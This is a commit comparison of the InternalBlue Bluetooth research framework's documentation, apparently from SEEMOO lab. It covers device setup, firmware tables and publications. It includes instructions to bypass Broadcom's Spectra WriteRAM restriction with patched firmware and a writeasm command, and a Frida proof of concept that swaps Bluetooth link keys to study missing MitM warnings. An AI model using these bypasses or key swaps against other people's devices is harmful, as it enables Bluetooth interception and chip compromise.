Compare commits
91 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| f524380672 | |||
| 3261681f2a | |||
| 6acbc2a234 | |||
| b6ccfd66dc | |||
| 441ada02cc | |||
| 4a12aaddd0 | |||
| 75c1784ea8 | |||
| 9a7ddea09e | |||
| 477495ffa0 | |||
| 07c7df3e59 | |||
| 771c7f3d63 | |||
| a4feb59697 | |||
| 878553c450 | |||
| 066bc3cdca | |||
| 210e3949af | |||
| f274c70d74 | |||
| ba6ba0b99f | |||
| 889946a138 | |||
| 0ae8db134b | |||
| 5460f57275 | |||
| 8674e9c248 | |||
| e48d658dca | |||
| a18035d40f | |||
| 89e8b420be | |||
| 89e7ef8dc0 | |||
| b37ef2f062 | |||
| 9d2c41f34d | |||
| 1967085090 | |||
| 09f4f204dd | |||
| c860fe64f8 | |||
| b69bf412d3 | |||
| 8fd200af99 | |||
| abaa1b3ff4 | |||
| 8c3f4f98a7 | |||
| ca7c831c99 | |||
| cd75e8a747 | |||
| 8031188615 | |||
| 4efb73851d | |||
| c205e3b6cc | |||
| 989ac44a5a | |||
| 070f82844b | |||
| 8955803a38 | |||
| e6425152a5 | |||
| 6a87e6702f | |||
| 41dd24abf1 | |||
| dd62b28bc2 | |||
| ef37102762 | |||
| 7f48480a89 | |||
| fd7343dcd7 | |||
| 4d11cb1a0c | |||
| 294bf163ce | |||
| 192dc4408d | |||
| 0610734be9 | |||
| 3707944a80 | |||
| d2c0c81081 | |||
| 677fc1fe63 | |||
| e6cd50e79b | |||
| 4e8b12c6b9 | |||
| 4a2c3ac99a | |||
| 69b8ccee0a | |||
| 4e0607a4fc | |||
| 3bb8ee79f7 | |||
| e16bea12ea | |||
| 6983be188f | |||
| 0ac4824df2 | |||
| 08abb11fed | |||
| 6a00b82aa9 | |||
| b572b7bc43 | |||
| 11614ea3dc | |||
| 65c63c2055 | |||
| 6f205fbd01 | |||
| 7223e8c131 | |||
| 14024819bc | |||
| 6fbe2a4e68 | |||
| 11b30341bc | |||
| 78aaddc028 | |||
| c4d9ddd262 | |||
| 16c025499d | |||
| f6aa3415f4 | |||
| 5802846bd1 | |||
| 26b9f6c162 | |||
| 6e6ea75280 | |||
| d435410623 | |||
| 18d64e6122 | |||
| dc3e365dce | |||
| 0a37cd4ba4 | |||
| ba9f4cfd76 | |||
| cc1266e980 | |||
| 1f230ef12d | |||
| edfac4d209 | |||
| 3965de63e6 |
@@ -25,3 +25,4 @@ venv3
|
||||
|
||||
# pycharm
|
||||
*.idea
|
||||
*.egg-info
|
||||
|
||||
@@ -41,13 +41,17 @@ to be triggered. *Frankenstein* is in a separate repository, but depends on *Int
|
||||
to take state snapshots etc. on a physical device.
|
||||
|
||||
Moreover, we just published [Polypyus](https://github.com/seemoo-lab/polypyus).
|
||||
It enables binary-only binary diffing, independent from *IDA* and *Ghidra*. However,
|
||||
It enables binary-only binary diffing, independent of *IDA* and *Ghidra*. However,
|
||||
it integrates into that workflow by identifying good starting points for further
|
||||
analysis. We already tried it across various *Broadcom* Wi-Fi and Bluetooth firmware.
|
||||
|
||||
Looking for our random number generator measurements that we did within the analysis
|
||||
of CVE-2020-6616? You can find them [here](doc/rng.md).
|
||||
|
||||
There are also some more dynamic hooks for HCI with [Frida on iOS and Android](doc/keychange.md).
|
||||
We used this to study the warning behavior in the user interface upon MitM attacks.
|
||||
Likely useful for a lot of other experiments, though.
|
||||
|
||||
Due to Spectra 👻🌈 the write and read RAM commands are disabled after driver initialization.
|
||||
Workarounds for this are described in the according *Android* and *iOS* instructions,
|
||||
bypasses for other devices will follow if needed.
|
||||
@@ -59,10 +63,11 @@ Table of Contents
|
||||
* [Feature overview](doc/features.md)
|
||||
* [General setup and usage](doc/setup.md)
|
||||
* Operating system specific setup
|
||||
* [Android](doc/android.md) *6—10 (rooted)*
|
||||
* [iOS](doc/ios.md) *12—13 (jailbroken)*
|
||||
* [macOS](doc/macos.md) *High Sierra—Catalina*
|
||||
* [Android](doc/android.md) *6—11 (rooted)*
|
||||
* [iOS](doc/ios.md) *12—14 (jailbroken)*
|
||||
* [macOS](doc/macos.md) *High Sierra—Big Sur*
|
||||
* [Linux](doc/linux_bluez.md) with *BlueZ* (default) but __not__ WSL
|
||||
* [User-space macOS, Linux, Windows](doc/btstack.md) with *BTstack*
|
||||
* [Firmware overview](doc/firmware.md)
|
||||
* [SEEMOO talks and publications](doc/publications.md)
|
||||
* [Examples](doc/examples.md)
|
||||
@@ -79,7 +84,7 @@ Table of Contents
|
||||
License
|
||||
-------
|
||||
|
||||
Copyright 2018-2020 The InternalBlue Team
|
||||
Copyright 2018-2021 The InternalBlue Team
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy of
|
||||
this software and associated documentation files (the "Software"), to deal in
|
||||
|
||||
Binary file not shown.
+16
-11
@@ -66,6 +66,22 @@ read RAM and write RAM to be able to debug the RNG during runtime again. This `.
|
||||
is available in [`samsung_s8_2020-06_vendor_firmware_rng-patched_rw-ram-unpatched.zip`](../android/samsung_s8_2020-06_vendor_firmware_rng-patched_rw-ram-unpatched.zip).
|
||||
|
||||
|
||||
New dirty hack that should work for the *Samsung Galaxy Note 20 5G* from which this file was extracted
|
||||
but also on the *S10/10e/10+/20/* and *Note 20*: Use the file [`samsung_s10e_note20-5g_2021-01-21_bcm4375B1_semco.hcd`](../android/samsung_s10e_note20-5g_2021-01-21_bcm4375B1_semco.hcd).
|
||||
Your new `Write_RAM` handler must be set in `hci.py`:
|
||||
|
||||
```
|
||||
VSC_Write_RAM = 0xC6F
|
||||
```
|
||||
|
||||
Then, re-enalbe all blocked commands by executing:
|
||||
|
||||
```
|
||||
> writeasm 0x17A210 b.w 0x5E980
|
||||
```
|
||||
|
||||
Just accept this magic, writeup will follow :)
|
||||
|
||||
|
||||
Prebuilt Library Status
|
||||
-----------------------
|
||||
@@ -263,14 +279,3 @@ until the Start the build section. Then do:
|
||||
Flex crashes on Ubuntu 18.04 - [workaround](https://stackoverflow.com/questions/49301627/android-7-1-2-armv7):
|
||||
|
||||
export LC_ALL=C
|
||||
|
||||
|
||||
Empty Device List
|
||||
-----------------
|
||||
|
||||
If `adb devices` returns something, but *InternalBlue* cannot find your device, you might try to comment out the following
|
||||
lines in `pwnlib/adb/adb.py`:
|
||||
|
||||
#for field in fields[2:]:
|
||||
# k,v = field.split(':', 1)
|
||||
# kwargs[k] = v
|
||||
|
||||
+1
-1
@@ -14,7 +14,7 @@ On any Broadcom Bluetooth chip:
|
||||
* Read and write assembly to RAM
|
||||
* Read ROM
|
||||
* Set defined breakpoints that crash on execution
|
||||
* Inject arbitrary valid LMP messages (opcode and length must me standard compliant, contents and order are arbitrary)
|
||||
* Inject arbitrary valid LMP messages (opcode and length must be standard compliant, contents and order are arbitrary)
|
||||
* Use diagnostic features to monitor LMP and LCP (with new **Android** H4 driver patch, still needs to be integrated into BlueZ)
|
||||
* Read AFH channel map
|
||||
|
||||
|
||||
@@ -70,6 +70,7 @@ Vendor | Version | SubVersion | Firmware | Devices | Firmware Build Date
|
||||
0x0131 | 0x09 | 0x6119 | BCM4345C0 | Raspberry Pi 3+/4 --- *with Bluetooth 5 patches, same ROM as 3+* | Aug 19 2014
|
||||
0x000f | 0x09 | 0x6214 | BCM4355C1 | iPad 6th gen 3D575FD/A, iPad 6th gen MRJN2FD/A, iPad 6th gen MR7J2FD/A A1893 (FigaroA)
|
||||
0x000f | 0x0a | 0x4228 | BCM4378B1 | iPhone 11 (Hei), iPhone 11 Pro (Moana), iPhone 11 Pro Max (Tala) --- *announce BT 5.1 over the air but are BT 5* | Oct 25 2018
|
||||
0x000f | 0x0b | 0x6308 | BCM4387C2 | iPhone 12 | Oct 29 2019
|
||||
|
||||
|
||||
|
||||
|
||||
+80
-24
@@ -1,4 +1,5 @@
|
||||
# iOS internalblued
|
||||
## Installation of internalblued on iOS
|
||||
|
||||
This project is a proxy that redirects the *iOS* Bluetooth socket and exposes it as a
|
||||
TCP socket which can be used to send HCI commands to the Bluetooth controller of the device.
|
||||
A jailbroken device is required.
|
||||
@@ -18,9 +19,10 @@ PCIe devices:
|
||||
* iPhone Xs (not tested)
|
||||
* iPhone 11
|
||||
* iPhone SE2
|
||||
* iPhone 12
|
||||
* iPhone 13 (same as iPhone 12)
|
||||
|
||||
|
||||
## Installing
|
||||
1. Transfer the `.deb` file to your iOS device
|
||||
2. Run `dpkg -i your-deb-file.deb` to install `internalblued` on your device
|
||||
|
||||
@@ -41,32 +43,44 @@ In case the Bluetooth chip stops responding, Bluetooth has to be turned on and o
|
||||
|
||||
There is a Settings App pane for `internalblued` to turn off the daemon and adapt the listening port. However, this is usually not required. As long as `internalblue` is not connected to `internalblued`'s socket, Bluetooth can be used without any restrictions.
|
||||
|
||||
## Building internalblued
|
||||
1. Install [theos](https://github.com/theos/theos)
|
||||
2. Install the correct version of PrivateFramework header files (e.g. from [here](https://github.com/xybp888/iOS-SDKs)) for your build into your SDK
|
||||
3. Run `make package`
|
||||
4. A `.deb` file should be in the `packages` folder now
|
||||
|
||||
## Bypassing WriteRAM Restriction on PCIe iPhones (unc0ver)
|
||||
|
||||
## BlueTool
|
||||
Same principle but the firmware has checksums. Thanks to r0bre we how have
|
||||
[fpibro.py](https://github.com/seemoo-lab/frankenstein/blob/master/projects/BCM4387C2/ios_scripts/fpibro.py),
|
||||
which is capable of fixing these after modification.
|
||||
|
||||
More inconvenient to use, but still an option for unsupported devices, is `BlueTool`.
|
||||
It can even be scripted, but the scripts must be located in `/etc/bluetool`.
|
||||
Instead of overwriting the file, copy it to the `/tmp` folder and load it with `BlueTool`.
|
||||
Everything else will bootloop an A12+ device (see above).
|
||||
|
||||
For example, during our Random Number Generator (RNG) tests, we used the following commands
|
||||
to access the RNG area and execute the `LE_Rand` HCI command. Note that the input must be
|
||||
decimal but the output is hexadecimal. Similar to `internalblued`, `BlueTool` can only
|
||||
run while Bluetooth is turned off.
|
||||
|
||||
```
|
||||
```commandline
|
||||
power off
|
||||
device -D
|
||||
hci cmd 0xfc4d 0 38 96 0 32
|
||||
HCI Command Response: 01 4D FC 00 03 00 00 00 01 00 00 02 DC 70 02 76 77 77 77 77 77 77 77 77 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
hci cmd 0x2018
|
||||
HCI Command Response: 01 18 20 00 2A FC 1F 73 67 11 06 F9
|
||||
bcm -w /tmp/firmware.bin
|
||||
```
|
||||
|
||||
## Bypassing the WriteRAM Restriction
|
||||
None of the commands should return an error (e.g., no `bcm returned -1` error etc.).
|
||||
|
||||
***iPhone 12+13***
|
||||
|
||||
Hazelnut firmware with a WriteRAM bypass, compatible with iPhone 12+13:
|
||||
[Hazelnut_iPhone12+13_iOS15.2.bin](../ios-pcie/firmware/Hazelnut_iPhone12+13_iOS15.2.bin),
|
||||
will also work on jailbroken iOS 14.x iPhone 12.
|
||||
|
||||
Firmware modification and writing patches in C is supported as part of Frankenstein.
|
||||
Tooling and symbols for the [BCM4387C2](https://github.com/seemoo-lab/frankenstein/tree/master/projects/BCM4387C2)
|
||||
chip are available to perform research on the iPhone 12 and 13.
|
||||
|
||||
|
||||
***iPhone 11+SE2020***
|
||||
|
||||
Moana (iPhone 11) firmware with a WriteRAM bypass, compatible with iPhone 11+SE2020:
|
||||
[Moana_iPhone11+SE2_iOS15.bin](../ios-pcie/firmware/Moana_iPhone11+SE2_iOS15.bin),
|
||||
will also work with jailbroken iOS 14.x on iPhone SE2020.
|
||||
|
||||
|
||||
|
||||
## Bypassing the WriteRAM Restriction on UART iPhones (checkm8)
|
||||
|
||||
After iOS 13.3, WriteRAM is blocked. This is part of the Spectra mitigation and should prevent
|
||||
an attacker with control over `bluetoothd` to escalate into the Wi-Fi chip (yes, Wi-Fi, not Bluetooth, this is
|
||||
@@ -89,11 +103,53 @@ ROM:0014617C 0A 2D CMP R5, #0xA ; fc0a: VSC_Sup
|
||||
We can simply replace the `0x4c`, which is the WriteRAM command, with `0x42`, which is not used.
|
||||
Note that `BlueTool` contains multiple copies of these `.hcd` files and you should replace all of them.
|
||||
The accordingly modified `BlueTool` needs to be copied to `/usr/sbin/BlueTool` and `/usr/sbin/BlueTool.sbin`.
|
||||
To get Bluetooth working properly again after replacing `BlueTool`, the iPhone needs to be rebooted.
|
||||
To get Bluetooth working properly again after replacing `BlueTool`, run:
|
||||
|
||||
```commandline
|
||||
killall -9 bluetoothd internalblued BlueTool
|
||||
```
|
||||
Then, start a new *InternalBlue* Session.
|
||||
|
||||
|
||||
**Bluetooth will only work while the device is jailbroken with a modified BlueTool version!
|
||||
Use at your own risk and make a backup of the original.** Without jailbreak, the integrity check
|
||||
for `BlueTool` seems to fail and Bluetooth is constantly restarting.
|
||||
for `BlueTool` fails. **You can only reboot the device in this state with checkm8, your device will
|
||||
be bricked if you do this on unthethered jailbreaks like unc0ver!** You can still unbrick it by re-flashing
|
||||
iOS, but if you did not have a blob backup, you'll need to upgrade it to the latest signed iOS version.
|
||||
|
||||
[BlueTool for iOS 13.6 on an iPhone 8](../ios/BlueTool_iPhone8_iOS13.6), might also work on other <A12 devices.
|
||||
[BlueTool for iOS 13.6 on an iPhone 8](../ios/firmware/BlueTool_iPhone8_iOS13.6), might also work on other pre-A12 devices.
|
||||
[BlueTool for iOS 14.3 on an iPhone 7+8](../ios/firmware/BlueTool_iPhone7+8_iOS14.3), might also work on other pre-A12 devices.
|
||||
[BlueTool for iOS 14.7 on an iPhone 7+8](../ios/firmware/BlueTool_iPhone7+8_iOS14.7), might also work on other pre-A12 devices.
|
||||
|
||||
|
||||
## Building internalblued (optional)
|
||||
|
||||
1. Install [theos](https://github.com/theos/theos)
|
||||
2. Install the correct version of PrivateFramework header files (e.g. from [here](https://github.com/xybp888/iOS-SDKs)) for your build into your SDK
|
||||
3. Run `make package`
|
||||
4. A `.deb` file should be in the `packages` folder now
|
||||
|
||||
|
||||
|
||||
## BlueTool
|
||||
|
||||
Instead of using InternalBlue, it is also possible to use Apple's undocumented internal
|
||||
tool `BlueTool`. It is way more inconvenient to use, has a lot of commands that will not show
|
||||
in the help menu, and easily crashes when using it inappropriately. Apple does not consider
|
||||
this to be an issue, since `BlueTool` cannot be called from sandboxed processes.
|
||||
|
||||
If you consider using `BlueTool` instead of InternalBlue, e.g., because your device is not
|
||||
yet supported, you can even script it. All scripts must be located in `/etc/bluetool`.
|
||||
|
||||
For example, during our Random Number Generator (RNG) tests, we used the following commands
|
||||
to access the RNG area and execute the `LE_Rand` HCI command. Note that the input must be
|
||||
decimal but the output is hexadecimal. Similar to `internalblued`, `BlueTool` can only
|
||||
run while Bluetooth is turned off.
|
||||
|
||||
```commandline
|
||||
device -D
|
||||
hci cmd 0xfc4d 0 38 96 0 32
|
||||
HCI Command Response: 01 4D FC 00 03 00 00 00 01 00 00 02 DC 70 02 76 77 77 77 77 77 77 77 77 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
hci cmd 0x2018
|
||||
HCI Command Response: 01 18 20 00 2A FC 1F 73 67 11 06 F9
|
||||
```
|
||||
@@ -0,0 +1,64 @@
|
||||
Happy MitM - Fun and Toys in Every Bluetooth Device
|
||||
---------------------------------------------------
|
||||
|
||||
The Bluetooth 5.2 specification requires to warn the user upon authentication
|
||||
failures (p. 1314). However, none of the current stacks implements this.
|
||||
|
||||
For a simple PoC, we temporarily change the link key when the chip requests
|
||||
it via HCI. Note that **this PoC can also be used for various other HCI-based
|
||||
experiments**, e.g., to test non-compliant chip behavior. As of now, these
|
||||
scripts are based on Frida and available for Android and iOS.
|
||||
|
||||
You can find more details in our WiSec 2021 publication.
|
||||
|
||||
#### iOS PoC
|
||||
|
||||
As a proof of concept, we use Frida on an iPhone 8 with iOS 14.4 (same iOS as iPhone 7)
|
||||
and switch the link key upon request. The [script](../examples/keychange/ios_keychange.js) can be called as follows:
|
||||
|
||||
```
|
||||
frida -U bluetoothd --no-pause -l ios_keychange.js
|
||||
```
|
||||
|
||||
Frida automatically applies changes to the script during runtime as soon as the
|
||||
script changes, so it is possible to change `var swap_key = true;` to `false` and
|
||||
just save the script to disable swapping the keys and just displaying them.
|
||||
|
||||
Of course, we could also try to make a perfect copy of the iPhone and create a
|
||||
device with a similar MAC address. However, this also requires to set the same
|
||||
IO capabilities and device properties and might introduce additional sources of
|
||||
failure.
|
||||
|
||||
|
||||
#### Android PoC
|
||||
|
||||
Our PoC also contains a [script](../examples/keychange/android_keychange.js) for an Android phone, the Samsung Galaxy Note20 5G
|
||||
on a patchlevel of January 2021. However, since we hook into `libbluetooth.so` without
|
||||
symbols this only works in this very specific version. Moreover, since Android loads all
|
||||
link keys on Bluetooth initialization, one needs to disable and re-enable Bluetooth to
|
||||
get the PoC working.
|
||||
|
||||
The PoC works for both BLE and Classic Bluetooth. BLE is best to be tested with the
|
||||
nRF Connect app, since this supports separate bonding without downloading the actual app
|
||||
of the BLE gadget.
|
||||
|
||||
Usage:
|
||||
|
||||
```
|
||||
frida -U com.android.bluetooth --no-pause -l android_keychange.js
|
||||
```
|
||||
|
||||
|
||||
#### Linux PoC
|
||||
|
||||
For BlueZ, just replace the key in `/var/lib/bluetooth/mac1/mac2/info`.
|
||||
`bluetoothd` needs to be restarted. Hooking with Frida didn't work within HCI because
|
||||
BlueZ uses a separate management layer and `hci.c` only seems to be used by `hcitool`.
|
||||
The management layer is described in `doc/mgmt-api.txt` and has commands to load all
|
||||
link keys and all long term keys (*Load Link Keys Command*, *Load Long Term Keys Command*),
|
||||
which are issued during startup and read from `/var/lib/bluetooth`. Thus, we could hook
|
||||
the management interface from userspace, but that wouldn't add any value to *InternalBlue*
|
||||
later on.
|
||||
|
||||
Some more details on the Linux BlueZ architecture that are relevant for this are
|
||||
also described in this [blog post](https://naehrdine.blogspot.com/2021/03/bluez-linux-bluetooth-stack-overview.html).
|
||||
+44
-8
@@ -2,12 +2,20 @@
|
||||
|
||||
Linux Setup
|
||||
-----------
|
||||
The following steps are required to use the CYW20735B1 evaluation kit as normal HCI device on Linux with BlueZ.
|
||||
The following steps are required to use the CYW20735B1/CYW20819A evaluation kit as normal HCI device on Linux with BlueZ.
|
||||
|
||||
|
||||
**1. Setup as HCI device**
|
||||
## 1. Setup as HCI device
|
||||
|
||||
You need to set the baud rate to 3 Mbit/s. Replace `/dev/ttyUSB0` with your device.
|
||||
|
||||
**CYW20819**: Set up the device with a baud rate of 115200 and the Broadcom driver. The baud rate will be upgraded
|
||||
later on during device setup. Thanks to [Paul](https://naehrdine.blogspot.com/2021/03/bluez-linux-bluetooth-stack-overview.html?showComment=1619213054106#c1857559418654834801)
|
||||
for pointing this out.
|
||||
|
||||
btattach -P bcm --speed 115200 -B /dev/ttyUSB0
|
||||
echo 1 >sys/kernel/debug/bluetooth/hci0/vendor_diag
|
||||
|
||||
**CYW20735**: You need to set the baud rate to 3 Mbit/s. Replace `/dev/ttyUSB0` with your device.
|
||||
|
||||
btattach -B /dev/ttyUSB0 -S 3000000
|
||||
|
||||
@@ -15,14 +23,15 @@ If this does not work directly, use:
|
||||
|
||||
stty -F /dev/ttyUSB0 3000000
|
||||
btattach -B /dev/ttyUSB0
|
||||
|
||||
|
||||
Sometimes, you need to plug/unplug the evaluation board multiple times and run a combination of the commands above.
|
||||
If setup was successful can be checked with `hciconfig`. A MAC address with all zeros indicates that the baud rate
|
||||
was not set correctly and you need to try again.
|
||||
was not set correctly, and you need to try again.
|
||||
|
||||
**2. Use with BlueZ**
|
||||
## 2. Use with BlueZ
|
||||
|
||||
Assuming that you already have a regular Bluetooth device, you new device is `hci1`.
|
||||
Assuming that you already have a regular Bluetooth device, your new device is `hci1`.
|
||||
|
||||
hciconfig hci1 up
|
||||
|
||||
@@ -30,7 +39,7 @@ You can list your HCI devices:
|
||||
|
||||
hcitool dev
|
||||
|
||||
**3. Command line tools for connections**
|
||||
## 3. Command line tools for connections
|
||||
|
||||
Scanning for devices:
|
||||
|
||||
@@ -78,4 +87,31 @@ the vendor diagnostics are missing.
|
||||
*BlueZ* already comes with a monitor that decodes some parts of the diagnostic
|
||||
traffic, simply run:
|
||||
|
||||
btmon
|
||||
btmon
|
||||
|
||||
You can also use the monitor mode in *Wireshark* by opening `bluetooth-monitor`
|
||||
in the device list instead of `bluetooth`.
|
||||
|
||||
If your device is not supported within the Linux kernel for vendor diagnostics,
|
||||
you can still patch around in the kernel, such as the [BIAS](https://github.com/francozappa/bias/tree/master/linux-4.14.111)
|
||||
PoC did it. A diff against the original kernel can be found [here](../linux/bias_linux-4.14.111.diff).
|
||||
Since this means recompiling the kernel, use this at your own risk. This is definitely not how
|
||||
it is meant to be used.
|
||||
|
||||
|
||||
Firmware Downgrade
|
||||
------------------
|
||||
|
||||
The Spectra bug fixes are a bit special on Linux, at least for the Raspberry Pi 3+/4/4B chip. Reading
|
||||
RAM still works except the Patchram region. Thus, commands like `info patchram` result in a timeout
|
||||
in InternalBlue. Further analysis with `btmon` shows that the return status on HCI is `Status: Invalid HCI Command Parameters (0x12)`
|
||||
when reading the Patchram bitfield.
|
||||
|
||||
You can work around this by downgrading the firmware as follows:
|
||||
|
||||
```
|
||||
cd /usr/lib/firmware/brcm/
|
||||
cp BCM4345C0.hcd BCM4345C0_orig.hcd
|
||||
wget https://github.com/RPi-Distro/bluez-firmware/blob/96eefffcccc725425fd83be5e0704a5c32b79e54/broadcom/BCM4345C0.hcd?raw=true
|
||||
mv 'BCM4345C0.hcd?raw=true' BCM4345C0.hcd
|
||||
```
|
||||
|
||||
+61
-36
@@ -1,50 +1,69 @@
|
||||
macOS Setup
|
||||
-----------
|
||||
|
||||
### 1. Prerequisites
|
||||
Prerequisites
|
||||
-------------
|
||||
|
||||
*InternalBlue* runs as regular user, no administrator access is required.
|
||||
|
||||
Install `homebrew` (see https://brew.sh/) and then use it to install `git` and `python3`.
|
||||
Install `homebrew` (see https://brew.sh/) and then use it to install `python3`, `cmake`, and optionally `git`.
|
||||
|
||||
If you want to use ARM assembly and disassembly, which is required for some patches and debugging, install[binutils](https://github.com/Gallopsled/pwntools-binutils).
|
||||
```
|
||||
brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/macos/binutils-arm.rb
|
||||
```
|
||||
Hardware and OS
|
||||
---------------
|
||||
|
||||
### 2. Installation
|
||||
*InternalBlue* support is the best on *macOS Catalina* with a *BCM20703A2* chip. Symbols for this particular chip
|
||||
are in our [Polypyus](https://github.com/seemoo-lab/polypyus) repo, and on *Catalina*, the HCI command for writing
|
||||
to RAM still works.
|
||||
|
||||
#### a) With Git
|
||||
Clone *InternalBlue* and install it. Preferrably in a new virtual environment.
|
||||
```
|
||||
Basic operation and Bluetooth hacking is supported on anything from *macOS High Sierra* to *macOS Big Sur* as long
|
||||
as it is a Broadcom chip :)
|
||||
|
||||
Installation
|
||||
-----------
|
||||
|
||||
#### [1] Get files
|
||||
Get *InternalBlue*, either by cloning with `git`
|
||||
```sh
|
||||
git clone https://github.com/seemoo-lab/internalblue
|
||||
cd internalblue
|
||||
|
||||
virtualenv -p python3 venv
|
||||
source venv/bin/activate
|
||||
pip install --editable ./
|
||||
pip install pyobjc
|
||||
```
|
||||
|
||||
Without `pyobjc`, you might get an error message that the `IOBluetoothExtended.framework` was not found even
|
||||
if the folder is correct.
|
||||
|
||||
#### b) Without Git
|
||||
Download *InternalBlue* and install it. Preferrably in a new virtual environment.
|
||||
```
|
||||
or downloading from GitHub.
|
||||
```sh
|
||||
curl -LJO https://github.com/seemoo-lab/internalblue/archive/master.zip
|
||||
unzip internalblue-master.zip
|
||||
cd internalblue-master
|
||||
|
||||
virtualenv -p python3 venv
|
||||
source venv/bin/activate
|
||||
pip install --editable ./
|
||||
pip install pyobjc
|
||||
```
|
||||
|
||||
### 3. Framework Setup
|
||||
#### [2] New virtual environment.
|
||||
```sh
|
||||
pip3 install virtualenv
|
||||
virtualenv -p python3 venv
|
||||
source venv/bin/activate
|
||||
```
|
||||
|
||||
#### a) Precompiled
|
||||
#### [3] Install
|
||||
Now you have to choose whether you want to install the requirements for (dis)assembly,
|
||||
which can not only take a long time on low-power devices but you also might not need
|
||||
the features that require these dependencies.
|
||||
|
||||
#### [3a] Install Without binutils
|
||||
If you don't need ARM assembly and disassembly, just specify that you need the macOS-specific dependencies:
|
||||
```sh
|
||||
pip install -e .\[macoscore\]
|
||||
```
|
||||
|
||||
#### [3b] Install With binutils
|
||||
If you want to use ARM assembly and disassembly, which is required for some patches and debugging, install [binutils](https://github.com/Gallopsled/pwntools-binutils).
|
||||
```sh
|
||||
brew install wget
|
||||
wget https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/macos/binutils-arm.rb
|
||||
brew install binutils-arm.rb
|
||||
```
|
||||
Also add the `binutils` requirement so that `pip install` looks like this:
|
||||
```sh
|
||||
pip install -e .\[macoscore,binutils\]
|
||||
```
|
||||
|
||||
Framework Setup
|
||||
-----------
|
||||
#### [a] Precompiled
|
||||
On macOS High Sierra or older, you need to use a precompiled [IOBluetoothExtended.framework](../macos/IOBluetoothExtended.framework.zip) file.
|
||||
It only runs after installing the *Swift 5 Runtime Support Command Line Tools*, otherwise, the error
|
||||
message `Library not loaded: @rpath/libswiftCore.dylib` is shown.
|
||||
@@ -58,7 +77,7 @@ Depending on the installation location, if the `IOBluetoothExtended.framework` i
|
||||
adapt the path in `macoscore.py`.
|
||||
|
||||
|
||||
#### b) Compile yourself
|
||||
#### [b] Compile yourself
|
||||
On macOS Mojave and newer, *Xcode 10.2.1* and up is supported. On these systems, you can build the
|
||||
framework yourself.
|
||||
|
||||
@@ -68,7 +87,8 @@ open internalblue/macos/IOBluetoothExtended/IOBluetoothExtended.xcodeproj/
|
||||
|
||||
⌘ + B
|
||||
|
||||
### 4. Startup
|
||||
Startup
|
||||
-----------
|
||||
Now, *InternalBlue* can be executed normally, like shown.
|
||||
```
|
||||
python3 -m internalblue.cli
|
||||
@@ -76,11 +96,16 @@ python3 -m internalblue.cli
|
||||
You can also use the shortcut `internalblue`.
|
||||
|
||||
|
||||
### 5. Debugging
|
||||
|
||||
Debugging
|
||||
-----------
|
||||
You can open `PacketLogger`, which is included in the `Additional Tools for Xcode`, to observe all Bluetooth packets.
|
||||
|
||||
If you do excessive IO such as dumping the ROM and get the message `Failure: creating socket: Too many open
|
||||
files`, you need to change the `ulimit`, i.e., `ulimit -n 1000`.
|
||||
|
||||
|
||||
macOS Big Sur
|
||||
-------------
|
||||
*InternalBlue* also works on macOS Big Sur! Note that the `writemem` command is blocked. Moreover, to get it working,
|
||||
you might need to downgrade `pwntools`, i.e., version `4.0.1` seems to work.
|
||||
|
||||
|
||||
Binary file not shown.
@@ -44,6 +44,10 @@ was also recorded and gives a more high level overview.
|
||||
|
||||
Our talk [Playing with Bluetooth](https://media.ccc.de/v/2019-185-playing-with-bluetooth) focuses on new device support
|
||||
within *InternalBlue* and the Patchram state of various devices.
|
||||
|
||||
* **Bachelor Thesis** (12/2019)
|
||||
|
||||
*InternalBlue* was ported to macOS as part of Davide Toldo's [Bachelor Thesis](macos_bluetooth_stack_thesis_davide_toldo.pdf), in which he explores how the Bluetooth stack works in macOS and how it is possible to send and receive HCI and ACL packets through unofficial APIs.
|
||||
|
||||
* **36C3 Talk** (12/2019)
|
||||
|
||||
@@ -68,3 +72,20 @@ was also recorded and gives a more high level overview.
|
||||
|
||||
We looked into Apple's Bluetooth ecosystem, especially MagicPairing, which secures AirPods.
|
||||
For more details, read our paper [MagicPairing: Apple's Take on Securing Bluetooth Peripherals](https://arxiv.org/abs/2005.07255).
|
||||
|
||||
* **Binary Analysis Research Workshop Paper** (01/2021)
|
||||
|
||||
We built a tool that can diff raw firmware and benchmarked it on Broadcom/Cypress chips.
|
||||
The source code is on the [Polypyus](https://github.com/seemoo-lab/polypyus) GitHub page.
|
||||
There's also a [video](https://www.youtube.com/watch?v=kQS0pGs7bsM) and a [paper](https://www.ndss-symposium.org/wp-content/uploads/bar2021_23004_paper.pdf).
|
||||
|
||||
* **WiSec Paper** (07/2021)
|
||||
|
||||
New paper demonstrating that all major operating systems don't show warnings if Bluetooth
|
||||
keys break due to MitM attacks, presented at WiSec. Also see [PoC](keychange.md) scripts.
|
||||
|
||||
* **WiSec Tutorial** (07/2021)
|
||||
|
||||
[Tutorial](https://sites.nyuad.nyu.edu/wisec21/tutorials/) revisiting the current state of InternalBlue. Basically an update from the REcon 2019
|
||||
talk, but with more recent explanations, bypassing anti-patching, and explanations on all
|
||||
the operating system specific hooks.
|
||||
|
||||
+25
-6
@@ -23,8 +23,9 @@ Requirements
|
||||
* For most commands: Privileged access
|
||||
|
||||
#### iOS
|
||||
* A jailbroken iOS device (tested on iOS 12 and 13 with iPhone 6, SE, 7, 8, X,
|
||||
does not work on iPhones newer than XR, these devices have a Bluetooth chip connected via PCIe)
|
||||
* A jailbroken iOS device (tested on iOS 12 and 13 with iPhone 6, SE, 7, 8, X, 11, SE2)
|
||||
* For iPhones older than XR, use the ios/ daemon
|
||||
* For iPhones newer than XR, use the ios-pcie/ daemon (these devices have a Bluetooth chip connected via PCIe)
|
||||
* iOS 12 and 13 have been tested as of now
|
||||
* `usbmuxd`, which is pre installed on macOS but is available on most Linux distributions as well. Alternatively it can
|
||||
be obtained from [here](https://github.com/libimobiledevice/usbmuxd).
|
||||
@@ -35,7 +36,7 @@ be obtained from [here](https://github.com/libimobiledevice/usbmuxd).
|
||||
|
||||
#### macOS
|
||||
* Homebrew
|
||||
* Xcode 10.2.1
|
||||
* Xcode
|
||||
* Instructions see [here](macos.md)
|
||||
|
||||
Setup and Installation
|
||||
@@ -58,7 +59,7 @@ The *InternalBlue* framework supports and requires Python 3.6 and above.
|
||||
|
||||
### Install from PyPI
|
||||
|
||||
Currently there is no package published on PyPI for Python 3, this will happen in the near future.
|
||||
